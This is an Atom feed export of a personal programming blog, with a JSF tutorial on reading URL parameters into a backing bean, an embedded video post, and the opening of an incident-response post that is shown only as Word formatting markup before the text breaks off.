<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5895656367020038426</id><updated>2011-08-28T12:34:02.307+02:00</updated><category term='javascript evaluate'/><category term='mysql2jsp review'/><category term='url'/><category term='passing'/><category term='acer_acpi'/><category term='javascript'/><category term='rup'/><category term='dot net fat'/><category term='forensic forensics first responder incident preparation response security break-in hack'/><category term='aspire'/><category term='url script generation'/><category term='google earth  java'/><category term='suse'/><category term='script tag generation'/><category term='File Binding'/><category term='get url params'/><category term='mysql to jsp code generator'/><category term='linux-ntfs'/><category term='forensics forensic responder toolkit security'/><category term='5024 wlmi'/><category term='web  development'/><category term='param'/><category term='greek tragedy 2007 flames fire august election greece hellas'/><category term='statistics report'/><category term='.net'/><category term='Social Entrepreneurship'/><category term='File segmentation'/><category term='code'/><category term='incident preparation'/><category term='ndiswrapper'/><category term='first responder'/><category term='mysql jsp'/><category term='database'/><category term='generator'/><category term='linux'/><category term='Social'/><category term='incident response'/><category term='jsf'/><category term='mysql'/><category term='java'/><category term='rational unified process'/><category term='counter'/><category term='jsp code generator'/><category term='acerhk'/><category term='5020 series'/><category term='jsp'/><category term='NTFS Alternate Data Streams'/><category term='googleearth dotnetfromjava'/><category term='Acer'/><category term='mysql2jsp'/><category term='virtual interfaces'/><category term='forensics'/><category term='Entrepreneurship'/><category term='streaming in j2me'/><category term='Hiding data in the registry'/><category term='dritek'/><category term='wireless configuration'/><category term='requestbean'/><category term='Windows File Protection'/><category term='google earth'/><category term='nanoagent'/><category term='find client ip'/><category term='jboss web service manual'/><category term='retrieve'/><category term='find remote_addr'/><category term='java bean shell bsh forensic honeypot honeynet security'/><category term='javascript counter'/><category term='code generator'/><category term='evaluate'/><category term='googleearth'/><category term='dotnetfromjava'/><category term='hostname to country name conversion'/><category term='vacations beach sunset sunrise greece chess relax'/><category term='request'/><category term='inception phase'/><category term='Data Hiding'/><category term='gmail-hacktips'/><title type='text'>Nanoagent's Blog</title><subtitle type='html'>NanoAgent is an Artificial Intelligent RoBot of microscopic proportions built by means of nanotechnology</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-2924051606100956653</id><published>2009-02-26T20:00:00.003+01:00</published><updated>2009-02-26T20:04:13.224+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='param'/><category scheme='http://www.blogger.com/atom/ns#' term='passing'/><category scheme='http://www.blogger.com/atom/ns#' term='url'/><category scheme='http://www.blogger.com/atom/ns#' term='retrieve'/><category scheme='http://www.blogger.com/atom/ns#' term='requestbean'/><category scheme='http://www.blogger.com/atom/ns#' term='request'/><category scheme='http://www.blogger.com/atom/ns#' term='jsf'/><category scheme='http://www.blogger.com/atom/ns#' term='get url params'/><title type='text'>How to get in JSF url parameters</title><content type='html'>How to get in JSF url parameters&lt;br /&gt;&lt;br /&gt;lets consider the following example:&lt;br /&gt;http://mysuperapp.com/appname?mygetparam=program1&lt;br /&gt;http://mysuperapp.com/appname?mygetparam=program2&lt;br /&gt;http://mysuperapp.com/appname?mygetparam=program3&lt;br /&gt;&lt;br /&gt;Bind GET parameters to your backing bean. (Just putting them in the url is cludgy)&lt;br /&gt;&lt;br /&gt;All you have to do is use the param object in your el expression:&lt;br /&gt;&lt;br /&gt;&lt;managed-bean&gt;&lt;br /&gt;&lt;managed-bean-name&gt;myBean&lt;/managed-bean-name&gt;&lt;br /&gt;&lt;managed-bean-class&gt;com.mysuperapp.MyBean&lt;/managed-bean-class&gt;&lt;br /&gt;&lt;managed-bean-scope&gt;request&lt;/managed-bean-scope&gt;&lt;br /&gt;&lt;managed-property&gt;&lt;br /&gt;&lt;property-name&gt;myPropery&lt;/property-name&gt;&lt;br /&gt;&lt;value&gt;#{param.mygetparam}&lt;/value&gt;&lt;br /&gt;&lt;/managed-property&gt;&lt;br /&gt;&lt;/managed-bean&gt;&lt;br /&gt;&lt;br /&gt;Now your request scope backing bean has the value from the url.&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-2924051606100956653?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/2924051606100956653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=2924051606100956653' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/2924051606100956653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/2924051606100956653'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2009/02/how-to-get-in-jsf-url-parameters.html' title='How to get in JSF url parameters'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-2910807329954213183</id><published>2009-02-22T13:41:00.000+01:00</published><updated>2009-02-22T13:44:58.201+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Entrepreneurship'/><category scheme='http://www.blogger.com/atom/ns#' term='Social Entrepreneurship'/><category scheme='http://www.blogger.com/atom/ns#' term='Social'/><title type='text'>Social Entrepreneurship: Creating Change</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/r4ECkTKXHao&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/r4ECkTKXHao&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-2910807329954213183?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/2910807329954213183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=2910807329954213183' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/2910807329954213183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/2910807329954213183'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2009/02/social-entrepreneurship-creating-change.html' title='Social Entrepreneurship: Creating Change'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-8013262740943232725</id><published>2009-01-25T15:33:00.011+01:00</published><updated>2009-01-25T15:48:39.843+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows File Protection'/><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='File segmentation'/><category scheme='http://www.blogger.com/atom/ns#' term='File Binding'/><category scheme='http://www.blogger.com/atom/ns#' term='incident preparation'/><category scheme='http://www.blogger.com/atom/ns#' term='Data Hiding'/><category scheme='http://www.blogger.com/atom/ns#' term='incident response'/><category scheme='http://www.blogger.com/atom/ns#' term='Hiding data in the registry'/><category scheme='http://www.blogger.com/atom/ns#' term='first responder'/><category scheme='http://www.blogger.com/atom/ns#' term='NTFS Alternate Data Streams'/><title type='text'>Incident preparation &amp; responce</title><content type='html'>&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EL&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:Wingdings;  panose-1:5 0 0 0 0 0 0 0 0 0;  mso-font-charset:2;  mso-generic-font-family:auto;  mso-font-pitch:variable;  mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face  {font-family:"Cambria Math";  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:161;  mso-generic-font-family:roman;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1107304683 0 0 159 0;} @font-face  {font-family:Calibri;  panose-1:2 15 5 2 2 2 4 3 2 4;  mso-font-charset:161;  mso-generic-font-family:swiss;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-unhide:no;  mso-style-qformat:yes;  mso-style-parent:"";  margin-top:0cm;  margin-right:0cm;  margin-bottom:10.0pt;  margin-left:0cm;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-fareast-font-family:Calibri;  mso-bidi-font-family:"Times New Roman";  mso-fareast-language:EN-US;} p.MsoHeader, li.MsoHeader, div.MsoHeader  {mso-style-noshow:yes;  mso-style-priority:99;  mso-style-link:"Header Char";  margin:0cm;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  tab-stops:center 207.65pt right 415.3pt;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-fareast-font-family:Calibri;  mso-bidi-font-family:"Times New Roman";  mso-fareast-language:EN-US;} p.MsoFooter, li.MsoFooter, div.MsoFooter  {mso-style-priority:99;  mso-style-link:"Footer Char";  margin:0cm;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  tab-stops:center 207.65pt right 415.3pt;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-fareast-font-family:Calibri;  mso-bidi-font-family:"Times New Roman";  mso-fareast-language:EN-US;} p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph  {mso-style-priority:34;  mso-style-unhide:no;  mso-style-qformat:yes;  margin-top:0cm;  margin-right:0cm;  margin-bottom:10.0pt;  margin-left:36.0pt;  mso-add-space:auto;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-fareast-font-family:Calibri;  mso-bidi-font-family:"Times New Roman";  mso-fareast-language:EN-US;} p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst  {mso-style-priority:34;  mso-style-unhide:no;  mso-style-qformat:yes;  mso-style-type:export-only;  margin-top:0cm;  margin-right:0cm;  margin-bottom:0cm;  margin-left:36.0pt;  margin-bottom:.0001pt;  mso-add-space:auto;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-fareast-font-family:Calibri;  mso-bidi-font-family:"Times New Roman";  mso-fareast-language:EN-US;} p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle  {mso-style-priority:34;  mso-style-unhide:no;  mso-style-qformat:yes;  mso-style-type:export-only;  margin-top:0cm;  margin-right:0cm;  margin-bottom:0cm;  margin-left:36.0pt;  margin-bottom:.0001pt;  mso-add-space:auto;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-fareast-font-family:Calibri;  mso-bidi-font-family:"Times New Roman";  mso-fareast-language:EN-US;} p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast  {mso-style-priority:34;  mso-style-unhide:no;  mso-style-qformat:yes;  mso-style-type:export-only;  margin-top:0cm;  margin-right:0cm;  margin-bottom:10.0pt;  margin-left:36.0pt;  mso-add-space:auto;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-fareast-font-family:Calibri;  mso-bidi-font-family:"Times New Roman";  